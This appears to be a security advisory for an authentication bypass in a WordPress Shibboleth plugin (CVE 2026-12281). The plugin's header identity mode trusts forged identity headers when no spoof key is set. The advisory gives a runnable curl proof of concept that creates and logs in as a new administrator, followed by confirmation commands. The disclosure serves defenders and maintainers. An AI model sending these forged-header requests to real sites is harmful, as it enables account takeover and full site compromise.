Shibboleth < 2.5.4 – Unauthenticated Administrator Account Creation via Identity Header Spoofing | CVE 2026-12281

Description

The plugin does not fail closed when its HTTP header identity mode is enabled without an anti-spoofing key, treating any request that carries identity headers as an authenticated session without verifying them. On a deployment where untrusted client headers reach the application, an unauthenticated attacker can log in with forged identity headers and, when automatic account creation and the default administrator role mapping are enabled, create and sign in as a new administrator. Exploitation requires the non-default HTTP header attribute mode, an empty or absent spoof key, automatic account creation enabled, and a deployment that does not strip untrusted client headers before they reach the application.

Proof of Concept

Preconditions (admin actions): Settings > Shibboleth > Attribute Access Method = "HTTP Headers"; leave the Spoof Key blank; enable automatic account creation; keep the default administrator entitlement role mapping. The deployment must forward client HTTP headers to PHP (no Shibboleth SP / reverse proxy stripping them).

1. Establish the WordPress test cookie:
curl -sk -c cj.txt 'https://TARGET/wp-login.php' -o /dev/null

2. Unauthenticated forged-header login (no password, no nonce):
curl -sk -b cj.txt -c cj.txt -i -X POST 'https://TARGET/wp-login.php?action=shibboleth' \
  -H 'eppn: attacker_admin' \
  -H 'mail: attacker_admin@example.test' \
  -H 'entitlement: urn:mace:example.edu:entitlement:wordpress:admin' \
  -H 'displayName: Attacker Admin' \
  --data 'wp-submit=Log+In&redirect_to=https://TARGET/wp-admin/users.php&testcookie=1'

Result: HTTP 302 to /wp-admin/users.php with a wordpress_logged_in_* cookie set. A new "attacker_admin" administrator account now exists; reusing the cookie jar to GET https://TARGET/wp-admin/users.php returns HTTP 200 with the full admin Users table.

Server-side confirmation:
  wp user list --role=administrator   (shows attacker_admin)
  wp user meta get <id> shibboleth_account   (returns "preset")